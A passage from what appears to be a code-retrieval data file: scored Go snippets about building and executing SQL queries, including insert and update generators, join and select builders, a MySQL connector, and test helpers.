[]string{\n\t\t\"INSERT INTO accounts VALUES (1, now(), now(), NULL, 'admin_account', true);\",\n\t\t\"INSERT INTO teams VALUES (1, now(), now(), NULL, 'admin_team', true, 'admin_description', 1);\",\n\t\t\"INSERT INTO roles VALUES (1, 100, 'SUPER_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (2, 110, 'ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (3, 120, 'ACCOUNT_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (4, 130, 'TEAM_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (5, 200, 'USER');\",\n\t}\n}", "title": "" }, { "docid": "01bfc12da4ed957a84a54b2c4c8bc631", "score": "0.48206577", "text": "func SQLCombine(sqls []string) string {\n\treturn strings.Join(sqls, \";\\n\") + \";\\n\"\n}", "title": "" }, { "docid": "adff8fa572150eebeca548109a00a632", "score": "0.4799147", "text": "func normalizeQueryWithDialect(dialect dialect.Dialect, query string) (string, error) {\n\tparsed, err := sqlparser.ParseWithDialect(dialect, query)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn sqlparser.StringWithDialect(dialect, parsed), nil\n}", "title": "" }, { "docid": "cf0a0109bdc2b11dab88fc4759a5772a", "score": "0.4795586", "text": "func (f StringField) AppendSQLExclude(buf *strings.Builder, args *[]interface{}, params map[string]int, excludedTableQualifiers []string) {\n\tswitch {\n\tcase f.value != nil:\n\t\t// 1) Literal string value\n\t\tbuf.WriteString(\"?\")\n\t\t*args = append(*args, *f.value)\n\tdefault:\n\t\t// 2) String column\n\t\ttableQualifier := f.table.GetAlias()\n\t\tif tableQualifier == \"\" {\n\t\t\ttableQualifier = f.table.GetName()\n\t\t}\n\t\tfor _, excludedTableQualifier := range excludedTableQualifiers {\n\t\t\tif tableQualifier == excludedTableQualifier {\n\t\t\t\ttableQualifier = \"\"\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif tableQualifier != \"\" {\n\t\t\tif strings.ContainsAny(tableQualifier, \" \\t\") {\n\t\t\t\tbuf.WriteString(\"`\")\n\t\t\t\tbuf.WriteString(tableQualifier)\n\t\t\t\tbuf.WriteString(\"`.\")\n\t\t\t} else {\n\t\t\t\tbuf.WriteString(tableQualifier)\n\t\t\t\tbuf.WriteString(\".\")\n\t\t\t}\n\t\t}\n\t\tif strings.ContainsAny(f.name, \" \\t\") {\n\t\t\tbuf.WriteString(\"`\")\n\t\t\tbuf.WriteString(f.name)\n\t\t\tbuf.WriteString(\"`\")\n\t\t} else {\n\t\t\tbuf.WriteString(f.name)\n\t\t}\n\t}\n\tif f.descending != nil {\n\t\tif *f.descending {\n\t\t\tbuf.WriteString(\" DESC\")\n\t\t} else {\n\t\t\tbuf.WriteString(\" ASC\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d09d541f1b92674367ee1df9bf7d4f06", "score": "0.47872722", "text": "func encodeSQLString(val string) string {\n\treturn sqltypes.EncodeStringSQL(val)\n}", "title": "" }, { "docid": "c0bcdc327d7400d0ceaa887252e7c986", "score": "0.47858322", "text": "func (d DeleteDelta) GetSQL() string {\n\tid := strings.Join(d.GetIDKeys(), \"=? AND \") + \"=?\"\n\treturn fmt.Sprintf(`DELETE FROM %s WHERE %s`, d.Table, id)\n}", "title": "" }, { "docid": "272d8897ca8cd061728327da530c66f6", "score": "0.47853184", "text": "func (m *Migration) UpSQL() string {\n\treturn m.up\n}", "title": "" }, { "docid": "5f3da942b51b6450ca21f403beaf45a7", "score": "0.4777498", "text": "func (q *Query) insertSQL(params map[string]string) string {\n\tvar cols, vals []string\n\n\tfor i, k := range sortedParamKeys(params) {\n\t\tcols = append(cols, database.QuoteField(k))\n\t\tvals = append(vals, database.Placeholder(i+1))\n\t}\n\tquery := fmt.Sprintf(\"INSERT INTO %s (%s) VALUES(%s) %s;\", q.table(), strings.Join(cols, \",\"), strings.Join(vals, \",\"), database.InsertSQL(q.pk()))\n\n\treturn query\n}", "title": "" }, { "docid": "758b5880b626d3d4824bb1bb938dfb50", "score": "0.47477517", "text": "func (f GatewayFilters) SQL() string {\n\tvar filters []string\n\n\tif f.OrganizationID != 0 {\n\t\tfilters = append(filters, \"g.organization_id = :organization_id\")\n\t}\n\n\tif f.UserID != 0 {\n\t\tfilters = append(filters, \"u.id = :user_id\")\n\t}\n\n\tif f.Search != \"\" {\n\t\tfilters = append(filters, \"(g.name ilike :search or encode(g.mac, 'hex') ilike :search)\")\n\t}\n\n\tif f.NewGatewayModel {\n\t\tfilters = append(filters, \"g.sn != ''\")\n\t\tfilters = append(filters, \"g.model != ''\")\n\t}\n\n\tif len(filters) == 0 {\n\t\treturn \"\"\n\t}\n\n\tquery := \"where \" + strings.Join(filters, \" and \")\n\n\tif f.EnabledSTC {\n\t\tquery = query + \" or g.stc_org_id = :organization_id\"\n\t}\n\n\treturn query\n}", "title": "" }, { "docid": "3256b89ea6dda6bb35e4c73dc35451bf", "score": "0.47293884", "text": "func (t params) q(sql string) string {\n\tvar pref string\n\tswitch t.dbType {\n\tcase dataAPI:\n\t\tpref = \":\"\n\t// case pq, pgx:\n\t// \tpref = \"$\"\n\t// case oracle, dataAPI:\n\t// \tpref = \":\"\n\tdefault:\n\t\treturn sql\n\t}\n\tn := 0\n\treturn qrx.ReplaceAllStringFunc(sql, func(string) string {\n\t\tn++\n\t\treturn pref + strconv.Itoa(n)\n\t})\n}", "title": "" }, { "docid": "98ea2a67d11b28e5773e66c0166febdd", "score": "0.47175843", "text": "func BuildSQLUpdateByID(table string, fields []string, fieldID string) string {\n\tif len(fields) == 0 {\n\t\treturn \"\"\n\t}\n\n\tvar args string\n\tfor k, v := range fields {\n\t\targs += fmt.Sprintf(\"%s = @p%d, \", v, k+1)\n\t}\n\n\treturn fmt.Sprintf(\"UPDATE %s SET %sd_UpdateDate = GETDATE() WHERE %s = @p%d\", table, args, fieldID, len(fields)+1)\n}", "title": "" }, { "docid": "73dcf764f9e658de8d4e261e3db4c5eb", "score": "0.47172314", "text": "func NewSQL(db *sql.DB) (Store, error) {\n\treturn &sqlStore{\n\t\tdb: db,\n\t\tstatementBuilder: squirrel.StatementBuilder.PlaceholderFormat(squirrel.Dollar).RunWith(db),\n\t}, nil\n}", "title": "" }, { "docid": "c684d0d84ed8ae0ac072fe30948e7371", "score": "0.4715811", "text": "func (h *Hub) PopulateSQL(sql string, dest interface{}) error {\n\tidx, conn, err := h.getConn()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"connection error. %s\", err.Error())\n\t}\n\tdefer h.closeConn(idx, conn)\n\n\tqry := dbflex.SQL(sql)\n\tcur := conn.Cursor(qry, nil)\n\tif err = cur.Error(); err != nil {\n\t\treturn fmt.Errorf(\"error when running cursor for PopulateSQL. %s\", err.Error())\n\t}\n\n\terr = cur.Fetchs(dest, 0).Close()\n\treturn err\n}", "title": "" }, { "docid": "8fc0c02c4ad2e0e3006c4d13814abcdc", "score": "0.47129136", "text": "func buildQueries() []string {\n\treturn []string{\n\t\t\"INSERT INTO roles VALUES (1, 100, 'SUPER_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (2, 110, 'ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (3, 120, 'ACCOUNT_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (4, 130, 'TEAM_ADMIN');\",\n\t\t\"INSERT INTO roles VALUES (5, 200, 'USER');\",\n\t}\n}", "title": "" }, { "docid": "bf023e1eeeadf18d0faedf6015e90c80", "score": "0.4712498", "text": "func updateQuery(tableName string, setNames []string, whereNames []string) string {\n\tvar queryBuilder strings.Builder\n\tqueryBuilder.WriteString(\"UPDATE \")\n\tqueryBuilder.WriteString(tableName)\n\tqueryBuilder.WriteString(\" SET \")\n\tfor i, setName := range setNames {\n\t\tif i != 0 {\n\t\t\tqueryBuilder.WriteString(\", \")\n\t\t}\n\t\tqueryBuilder.WriteString(setName)\n\t\tqueryBuilder.WriteString(\"=$\")\n\t\tqueryBuilder.WriteString(strconv.Itoa(i + 1))\n\t}\n\tif len(whereNames) == 0 {\n\t\tqueryBuilder.WriteString(\";\")\n\t\treturn queryBuilder.String()\n\t}\n\tqueryBuilder.WriteString(\" WHERE \")\n\tvarOffset := 1 + len(setNames)\n\tfor i, whereName := range whereNames {\n\t\tif i != 0 {\n\t\t\tqueryBuilder.WriteString(\" AND \")\n\t\t}\n\t\tqueryBuilder.WriteString(whereName)\n\t\tqueryBuilder.WriteString(\"=$\")\n\t\tqueryBuilder.WriteString(strconv.Itoa(i + varOffset))\n\t}\n\tqueryBuilder.WriteString(\";\")\n\treturn queryBuilder.String()\n}", "title": "" }, { "docid": "f54a1ac3c4ec703eefa6577ffef2bba1", "score": "0.47104698", "text": "func (join *JoinDefinition) SQL() (string, error) {\n\tresult := \"\"\n\n\tswitch join.Type {\n\tcase Join:\n\t\tresult = result + \"JOIN\"\n\t\tbreak\n\tcase InnerJoin:\n\t\tresult = result + \"INNER JOIN\"\n\t\tbreak\n\tcase OuterJoin:\n\t\tresult = result + \"OUTER JOIN\"\n\t\tbreak\n\tcase LeftJoin:\n\t\tresult = result + \"LEFT JOIN\"\n\t\tbreak\n\tcase RightJoin:\n\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\"Unsupported JOIN type found: %d\", join.Type)\n\t}\n\n\tif len(join.source) > 0 {\n\t\tresult = result + \" \" + join.source\n\t} else if join.subQuery != nil {\n\t\tsql, err := join.subQuery.SQL()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tresult = result + \" \" + sql\n\t} else {\n\t\treturn \"\", errors.New(\"JoinDefinition source field and subQuery field cannot be NULL\")\n\t}\n\n\tif len(join.Alias) > 0 {\n\t\tresult = result + \" AS \" + join.Alias\n\t}\n\n\tif join.Where != nil {\n\t\tconditionSQL, sqlErr := join.Where.String()\n\t\tif sqlErr != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Unable to generate JOIN condition SQL string: %s\", sqlErr.Error())\n\t\t}\n\n\t\tresult = result + \" ON \" + conditionSQL\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "79475135ddfd163f20069102e6d1e8da", "score": "0.46999946", "text": "func GetSQL(dialect string, key string) string {\n\tif d, ok := samples[dialect]; ok {\n\t\treturn strings.TrimSpace(d[key])\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "b6e331607d975f726c6091631416e5ea", "score": "0.4695989", "text": "func (self *TQuery) getSql() (fromClause, whereClause string, whereClauseParams []interface{}) {\r\n\ttables_to_process := self.tables\r\n\tself.alias_mapping = self.getAliasMapping()\r\n\tfrom_clause := make([]string, 0)\r\n\tfrom_params := make([]interface{}, 0)\r\n\r\n\tfor pos, table := range tables_to_process {\r\n\t\tif pos > 0 {\r\n\t\t\tfrom_clause = append(from_clause, \",\")\r\n\t\t}\r\n\r\n\t\tfrom_clause = append(from_clause, table)\r\n\t\t_, table_alias := get_alias_from_query(table)\r\n\t\tif _, has := self.joins[table_alias]; has {\r\n\t\t\tself.addJoinsForTable(table_alias, tables_to_process, from_clause, from_params)\r\n\t\t}\r\n\t}\r\n\r\n\tfromClause = strings.Join(from_clause, \"\") // 上面已经添加\",\"\r\n\twhereClause = strings.Join(self.where_clause, \" AND \") // to string\r\n\twhereClauseParams = append(from_params, self.where_clause_params...)\r\n\treturn fromClause, whereClause, whereClauseParams\r\n}", "title": "" }, { "docid": "5b867ccfc9cb46a83c5b1e75bf684a7c", "score": "0.46935743", "text": "func (s *selectParts) ToSQL() string {\n\tvar sql bytes.Buffer\n\tsql.WriteString(\"SELECT \")\n\n\tif s.distinct {\n\t\tsql.WriteString(\"DISTINCT \")\n\t}\n\n\tif len(s.fields) == 0 {\n\t\tsql.WriteString(\"*\")\n\t} else {\n\t\tsql.WriteString(strings.Join(s.fields, \", \"))\n\t}\n\n\tif s.fromTable != \"\" {\n\t\tsql.WriteString(\" FROM \")\n\t\tsql.WriteString(s.fromTable)\n\t}\n\n\tif len(s.where) > 0 {\n\t\tsql.WriteString(\" WHERE\")\n\t\tfor i, where := range s.where {\n\t\t\tsql.WriteString(\" \")\n\t\t\tif i == 0 {\n\t\t\t\tsql.WriteString(where.String(false))\n\t\t\t} else {\n\t\t\t\tsql.WriteString(where.String(true))\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(s.groupBy) > 0 {\n\t\tsql.WriteString(\" GROUP BY \")\n\t\tsql.WriteString(strings.Join(s.groupBy, \", \"))\n\t}\n\n\tif len(s.orderBy) > 0 {\n\t\tvar orderBy []string\n\t\tfor _, order := range s.orderBy {\n\t\t\torderBy = append(orderBy, order.String())\n\t\t}\n\n\t\tsql.WriteString(\" ORDER BY \")\n\t\tsql.WriteString(strings.Join(orderBy, \", \"))\n\t}\n\n\treturn sql.String()\n}", "title": "" }, { "docid": "52d3f6e920f26deeb14ffd8f80875830", "score": "0.46826106", "text": "func NewSQLMock(t *testing.T) (*sqlx.DB, sqlmock.Sqlmock) {\n\tdb, mock, err := sqlmock.New()\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tdbx := sqlx.NewDb(db, \"mysql\")\n\treturn dbx, mock\n}", "title": "" }, { "docid": "32d6a84acc46f3655dcb85c5ccf78e1c", "score": "0.4679982", "text": "func (s *mysqlDBHolder) Format(query string) string {\n\treturn strings.Replace(query, \"$\", \"?\", -1)\n}", "title": "" }, { "docid": "c4b3f477200446b16a527b308d59829d", "score": "0.46780035", "text": "func TestOriginSQL(t *testing.T) {\n\tif orginSQL.output == \"\" {\n\t\torginSQL.output = orginSQL.input\n\t}\n\tast, err := ParseOne(context.TODO(), orginSQL.input, 0)\n\tif err != nil {\n\t\tt.Errorf(\"Parse(%q) err: %v\", orginSQL.input, err)\n\t\treturn\n\t}\n\tout := tree.String(ast, dialect.MYSQL)\n\tif orginSQL.output != out {\n\t\tt.Errorf(\"Parsing failed. \\nExpected/Got:\\n%s\\n%s\", orginSQL.output, out)\n\t}\n}", "title": "" }, { "docid": "ce7c2599727b17735dd91ca5562d7ebf", "score": "0.46658567", "text": "func BuildSQLInsert(table string, fields []string, fieldID string) string {\n\tvar args, vals string\n\n\tfor k, v := range fields {\n\t\targs += fmt.Sprintf(\"%s,\", v)\n\t\tvals += fmt.Sprintf(\"@p%d,\", k+1)\n\t}\n\n\tif len(fields) > 0 {\n\t\targs = args[:len(args)-1]\n\t\tvals = vals[:len(vals)-1]\n\t}\n\n\treturn fmt.Sprintf(\"INSERT INTO %s (%s) VALUES (%s) RETURNING %s, d_InsertDate\", table, args, vals, fieldID)\n}", "title": "" }, { "docid": "0a3455d071dc5da52abda3fe5db24c61", "score": "0.4660849", "text": "func (u *__Blocked_Selector) _stoSql() (string, []interface{}) {\n\tsqlWherrs, whereArgs := whereClusesToSql(u.wheres, u.whereSep)\n\n\tsqlstr := \"SELECT \" + u.selectCol + \" FROM sun.blocked\"\n\n\tif len(strings.Trim(sqlWherrs, \" \")) > 0 { //2 for safty\n\t\tsqlstr += \" WHERE \" + sqlWherrs\n\t}\n\n\tif u.orderBy != \"\" {\n\t\tsqlstr += u.orderBy\n\t}\n\n\tif u.limit != 0 {\n\t\tsqlstr += \" LIMIT \" + strconv.Itoa(u.limit)\n\t}\n\n\tif u.offset != 0 {\n\t\tsqlstr += \" OFFSET \" + strconv.Itoa(u.offset)\n\t}\n\treturn sqlstr, whereArgs\n}", "title": "" }, { "docid": "120e0a25140e64248486fb2b33f4f022", "score": "0.46483612", "text": "func (u *__TestChat_Selector) _stoSql() (string, []interface{}) {\n\tsqlWherrs, whereArgs := whereClusesToSql(u.wheres, u.whereSep)\n\n\tsqlstr := \"SELECT \" + u.selectCol + \" FROM ms.test_chat\"\n\n\tif len(strings.Trim(sqlWherrs, \" \")) > 0 { //2 for safty\n\t\tsqlstr += \" WHERE \" + sqlWherrs\n\t}\n\n\tif u.orderBy != \"\" {\n\t\tsqlstr += u.orderBy\n\t}\n\n\tif u.limit != 0 {\n\t\tsqlstr += \" LIMIT \" + strconv.Itoa(u.limit)\n\t}\n\n\tif u.offset != 0 {\n\t\tsqlstr += \" OFFSET \" + strconv.Itoa(u.offset)\n\t}\n\treturn sqlstr, whereArgs\n}", "title": "" }, { "docid": "9d4c36e080a55ecf8894aa849c573159", "score": "0.46428815", "text": "func (d MySQLDialect) DriverName() string {\n\treturn \"mysql\"\n}", "title": "" }, { "docid": "3e1498d3dc5f2f877781420d17addc86", "score": "0.4638612", "text": "func mkSelectString(params map[string]string) (string, []interface{}) {\n\tidclause, idlist := mkIdClause(params)\n\n\tidfield := params[\"idfield\"]\n\tif idfield == \"\" {\n\t\tidfield = \"id\"\n\t}\n\txfields := idfield + \",\" + params[\"fields\"]\n\tqstring := fmt.Sprintf(\"SELECT %s FROM %s %s LIMIT %s OFFSET %s\", // nolint\n\t\txfields,\n\t\tparams[\"table_name\"],\n\t\tidclause,\n\t\tparams[\"limit\"],\n\t\tparams[\"offset\"])\n\n\treturn qstring, idlist\n}", "title": "" }, { "docid": "9c30c8de9a4312b31b8de5c209d0c573", "score": "0.46189544", "text": "func BuildSQLUpdateBy(table string, fields []string, by string) string {\n\tif len(fields) == 0 {\n\t\treturn \"\"\n\t}\n\n\tvar args string\n\tfor k, v := range fields {\n\t\targs += fmt.Sprintf(\"%s = @p%d, \", v, k+1)\n\t}\n\n\treturn fmt.Sprintf(\"UPDATE %s SET %sd_UpdateDate = now() WHERE %s = @p%d\", table, args, by, len(fields)+1)\n}", "title": "" }, { "docid": "ae2bd5fc04f3819ad42af3e832ada8e7", "score": "0.46138334", "text": "func ExecSQL(db *sql.DB, t *testing.T, query string) {\n\ttest.CheckFail(util.ExecSQL(db, query), t)\n}", "title": "" }, { "docid": "bd9210c9195cb49a2feb56ae1bd9c6b0", "score": "0.46014252", "text": "func (f *filter) SQL() string {\n\tif f == nil {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprintf(\"WHERE instr(%s, ?) > 0 \", f.field)\n}", "title": "" }, { "docid": "fe4b2d713a2268e4fffc3bc3470cbce4", "score": "0.4584648", "text": "func GenerateInsertSQL(dbTable DbTableMeta) (string, error) {\n\tprimaryCnt := PrimaryKeyCount(dbTable)\n\n\tif primaryCnt == 0 {\n\t\treturn \"\", fmt.Errorf(\"table %s does not have a primary key, cannot generate sql\", dbTable.TableName())\n\t}\n\n\tbuf := bytes.Buffer{}\n\tbuf.WriteString(fmt.Sprintf(\"INSERT INTO `%s` (\", dbTable.TableName()))\n\n\tpastFirst := false\n\tfor _, col := range dbTable.Columns() {\n\t\tif !col.IsAutoIncrement() {\n\t\t\tif pastFirst {\n\t\t\t\tbuf.WriteString(\", \")\n\t\t\t}\n\n\t\t\tbuf.WriteString(fmt.Sprintf(\" %s\", col.Name()))\n\t\t\tpastFirst = true\n\t\t}\n\t}\n\tbuf.WriteString(\") values ( \")\n\n\tpastFirst = false\n\tpos := 1\n\tfor _, col := range dbTable.Columns() {\n\t\tif !col.IsAutoIncrement() {\n\t\t\tif pastFirst {\n\t\t\t\tbuf.WriteString(\", \")\n\t\t\t}\n\n\t\t\tbuf.WriteString(fmt.Sprintf(\"?\"))\n\t\t\tpos++\n\t\t\tpastFirst = true\n\t\t}\n\t}\n\n\tbuf.WriteString(\" )\")\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "a99e840f04022960551db6a716c0f9e4", "score": "0.45832247", "text": "func NewPatcherSQL(conn *sqlx.DB, s Storer) Patcher {\n\treturn &patcherSQL{\n\t\tconn: conn,\n\t\tpatches: make(map[string]*patchSQL),\n\t\tpatchesNames: []string{},\n\t\tstorer: s,\n\t}\n}", "title": "" }, { "docid": "ed0ab790501a538564a181aa700ac112", "score": "0.45797318", "text": "func (q Query) ToSingleTableSQL() (*SQLQuery, error) {\n\t/*\n\t * We will add a table check\n\t * Then we will get the table\n\t * Then we will iterate through the select fields\n\t * If group by fields are there, will add them to be selected\n\t * Then we will add the filters\n\t * Then we will add the group by if any\n\t */\n\t//adding the table number check\n\tif len(q.Tables) != 1 {\n\t\treturn nil, fmt.Errorf(\"couldn't find any table. Length of the tables to which the query belong to is %d\", len(q.Tables))\n\t}\n\n\t//getting the table\n\tvar tableNode TableNode\n\tfor _, v := range q.Tables {\n\t\ttableNode = v\n\t}\n\n\tvar queryB strings.Builder\n\tqueryB.WriteString(\"SELECT \")\n\thasGroupBy := false\n\tfor _, v := range q.GroupBy {\n\t\tif len(v.Name) > 0 {\n\t\t\thasGroupBy = true\n\t\t}\n\t}\n\t//iterating through the fields to be selected\n\tcount := 0\n\tfor _, v := range q.Select {\n\t\tif len(v.Name) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\taddColumnString(count, v, &queryB, hasGroupBy)\n\t\tcount++\n\t}\n\n\t//if group fields are there, then add then for selection\n\tfor _, v := range q.GroupBy {\n\t\tif len(v.Name) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\taddColumnString(count, v, &queryB, false)\n\t\tcount++\n\t}\n\n\t//adding the filters\n\tqueryB.WriteString(\" FROM \\\"\" + tableNode.Name + \"\\\"\")\n\tcount = 0\n\tvalues := []interface{}{}\n\tdone := false\n\tindex := 0\n\tfor _, v := range q.Filters {\n\t\tif v.Column == nil || len(v.Column.Name) == 0 || (v.Value == nil && v.Unknown == nil && v.Time == nil) {\n\t\t\tcontinue\n\t\t}\n\t\tif v.Unknown == nil && v.Time == nil && len(v.Value.Name) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif v.Value == nil && v.Time == nil && len(v.Unknown.Word) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif v.Value == nil && v.Unknown == nil && (!v.Time.Value.IsValid() || !v.Time.Value.From.IsValid()) {\n\t\t\tcontinue\n\t\t}\n\t\tif (v.Column.DataType == DataTypeInt || v.Column.DataType == DataTypeFloat || v.Column.DataType == DataTypeDate) &&\n\t\t\t(v.Operation != EqOperator && v.Operation != NotEqOperator && v.Operation != GreaterOperator && v.Operation != LessOperator) {\n\t\t\tcontinue\n\t\t}\n\t\tvar convertedVal interface{}\n\t\tif v.Value != nil {\n\t\t\tvl, ok := getValue(v.Column.DataType, v.Value.Name)\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tconvertedVal = vl\n\t\t} else if v.Unknown != nil {\n\t\t\tvl, ok := getValue(v.Column.DataType, string(v.Unknown.Word))\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tconvertedVal = vl\n\t\t} else if v.Time != nil {\n\t\t\tif v.Column.DataType != DataTypeDate {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tconvertedVal = v.Time.Value.From.Time\n\t\t}\n\n\t\tif len(q.Filters) > 0 && !done {\n\t\t\tqueryB.WriteString(\" WHERE \")\n\t\t\tdone = true\n\t\t}\n\t\tif count != 0 {\n\t\t\tqueryB.WriteString(\" AND \")\n\t\t}\n\t\tcount++\n\t\tcolumnName := \"\\\"\" + v.Column.Name + \"\\\"\"\n\t\tvalue := \"\"\n\t\tif v.Column.DataType == DataTypeString {\n\t\t\tvalue += \"'\"\n\t\t}\n\t\tif (v.Operation == LikeOperator || v.Operation == ContainsOperator) && v.Column.DataType == DataTypeString {\n\t\t\tvalue += \"%\"\n\t\t}\n\t\tif v.Column.DataType == DataTypeString {\n\t\t\tvalue += convertedVal.(string)\n\t\t}\n\t\tif (v.Operation == LikeOperator || v.Operation == ContainsOperator) && v.Column.DataType == DataTypeString {\n\t\t\tvalue += \"%\"\n\t\t}\n\t\tif v.Column.DataType == DataTypeString {\n\t\t\tvalue += \"'\"\n\t\t}\n\t\tvar finalValue interface{} = value\n\t\tif v.Column.DataType != DataTypeString {\n\t\t\tfinalValue = convertedVal\n\t\t}\n\t\tindex++\n\t\tqueryB.WriteString(columnName + \" \" + v.Operation + \" $\" + strconv.Itoa(index))\n\t\tvalues = append(values, finalValue)\n\t}\n\n\t//add the group by if required\n\tresult := &SQLQuery{Args: values}\n\tif !hasGroupBy {\n\t\tresult.Query = queryB.String()\n\t\treturn result, nil\n\t}\n\tcount = 0\n\tqueryB.WriteString(\" GROUP BY \")\n\tfor _, v := range q.GroupBy {\n\t\tif len(v.Name) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif count != 0 {\n\t\t\tqueryB.WriteString(\", \")\n\t\t}\n\t\tcount++\n\t\tqueryB.WriteString(\"\\\"\" + v.Name + \"\\\"\")\n\t}\n\tresult.Query = queryB.String()\n\n\treturn result, nil\n}", "title": "" }, { "docid": "704f3c5fddd76818651a247ab8c13e06", "score": "0.45778337", "text": "func InstMySQL(cmp *mcmp.Component, defaultDB string) *SQL {\n\tsql := SQL{cmp: cmp.Child(\"mysql\")}\n\n\taddr := mcfg.String(sql.cmp, \"addr\",\n\t\tmcfg.ParamDefault(\"[::1]:3306\"),\n\t\tmcfg.ParamUsage(\"Address where MySQL server can be found\"))\n\tuser := mcfg.String(sql.cmp, \"user\",\n\t\tmcfg.ParamDefault(\"root\"),\n\t\tmcfg.ParamUsage(\"User to authenticate to MySQL server as\"))\n\tpass := mcfg.String(sql.cmp, \"password\",\n\t\tmcfg.ParamUsage(\"Password to authenticate to MySQL server with\"))\n\tdb := mcfg.String(sql.cmp, \"database\",\n\t\tmcfg.ParamDefault(defaultDB),\n\t\tmcfg.ParamUsage(\"MySQL database to use\"))\n\n\tmrun.InitHook(sql.cmp, func(ctx context.Context) error {\n\t\tsql.cmp.Annotate(\"addr\", *addr, \"user\", *user)\n\t\tdsn := fmt.Sprintf(\"%s:%s@tcp(%s)/%s\", *user, *pass, *addr, *db)\n\t\tmlog.From(sql.cmp).Debug(\"constructed dsn\", mctx.Annotate(ctx, \"dsn\", dsn))\n\t\tmlog.From(sql.cmp).Info(\"connecting to MySQL server\", ctx)\n\t\tvar err error\n\t\tsql.DB, err = sqlx.ConnectContext(ctx, \"mysql\", dsn)\n\t\treturn merr.Wrap(err, sql.cmp.Context(), ctx)\n\t})\n\n\tmrun.ShutdownHook(sql.cmp, func(ctx context.Context) error {\n\t\tmlog.From(sql.cmp).Info(\"closing connection to MySQL server\", ctx)\n\t\treturn merr.Wrap(sql.Close(), sql.cmp.Context(), ctx)\n\t})\n\n\treturn &sql\n}", "title": "" }, { "docid": "f5657261e953e8ec11b1f2cdec3d713e", "score": "0.457243", "text": "func (t *T) collatedStringTypeSQL(isArray bool) string {\n\tvar buf bytes.Buffer\n\tbuf.WriteString(t.stringTypeSQL())\n\tif isArray {\n\t\tbuf.WriteString(\"[] COLLATE \")\n\t} else {\n\t\tbuf.WriteString(\" COLLATE \")\n\t}\n\tlex.EncodeLocaleName(&buf, t.Locale())\n\treturn buf.String()\n}", "title": "" }, { "docid": "fa4ea4fb3ae599c6e4e8fbeb117eb123", "score": "0.45709854", "text": "func migrate(db *sql.DB) {\n\tsql := `\n\tCREATE TABLE IF NOT EXISTS comments(\n\t\t\tid INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n\t\t\tname VARCHAR NOT NULL,\n\t\t\temail VARCHAR NOT NULL,\n\t\t\tcomment VARCHAR NOT NULL\n\t);\n `\n\t_, err := db.Exec(sql)\n\n\t// Exit if something goes wrong with our SQL statement above\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "9f39bf75349a32ff5a6c49edc28f618b", "score": "0.45688525", "text": "func callSQL(scriptName string) error {\n\tpath, err := getSQLTestsDir()\n\tif err != nil {\n\t\treturn err\n\t}\n\tcStr := fmt.Sprintf(\"%s/%s\", path, scriptName)\n\tif _, err := os.Stat(cStr); os.IsNotExist(err) {\n\t\treturn err\n\t}\n\t//TODO, this fails for different users/database names...\n\tcmd := exec.Command(\"mysql\", \"-u\", \"root\", \"keystore\")\n\tin, err := ioutil.ReadFile(cStr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tcmd.Stdin = strings.NewReader(string(in))\n\terr = cmd.Run()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "07448426f121a34ad55d4e8440deb6f6", "score": "0.4568796", "text": "func GetUpdateSql(logs *list.List) string {\n\tsqlHead := \"INSERT INTO `%s`\"\n\tsqlBack := \"( %s ) VALUES \"\n\tvar fieldsStr string\n\tfields := GetFields(logs.Front().Value.(def.Logger), false)\n\tfor i := 0; i < len(fields); i++ {\n\t\tif strings.ToLower(fields[i].Name) == def.NamePkId {\n\t\t\tcontinue\n\t\t}\n\t\tsep := \",\"\n\t\tif i >= len(fields)-1 {\n\t\t\tsep = \"\"\n\t\t}\n\t\tfieldsStr += \"`\" + fields[i].Name + \"`\" + sep\n\t}\n\tsqlHead = sqlHead + fmt.Sprintf(sqlBack, fieldsStr)\n\tfor v := logs.Front(); v != nil; v = v.Next() {\n\t\tlog := v.Value.(def.Logger)\n\t\tvalues := GetInsertValues(log)\n\t\tsqlHead = sqlHead + \"(\" + values + \")\"\n\t\tif v.Next() != nil {\n\t\t\tsqlHead += \",\"\n\t\t} else {\n\t\t\tsqlHead += \" ON DUPLICATE KEY UPDATE \"\n\t\t}\n\t}\n\tfor i, field := range fields {\n\t\tsqlHead += \"`\" + field.Name + \"`\" + \"=VALUES(`\" + field.Name + \"`)\"\n\t\tif i != len(fields)-1 {\n\t\t\tsqlHead += \",\"\n\t\t}\n\t}\n\treturn sqlHead\n}", "title": "" }, { "docid": "5ec996f6165f33cc13b93864e5810112", "score": "0.45644405", "text": "func GetCreateTableSQL(ctx context.Context, db QueryExecutor, schemaName string, tableName string) (string, error) {\n\t/*\n\t\tshow create table example result:\n\t\tmysql> SHOW CREATE TABLE `test`.`itest`;\n\t\t+-------+--------------------------------------------------------------------+\n\t\t| Table | Create Table |\n\t\t+-------+--------------------------------------------------------------------+\n\t\t| itest | CREATE TABLE 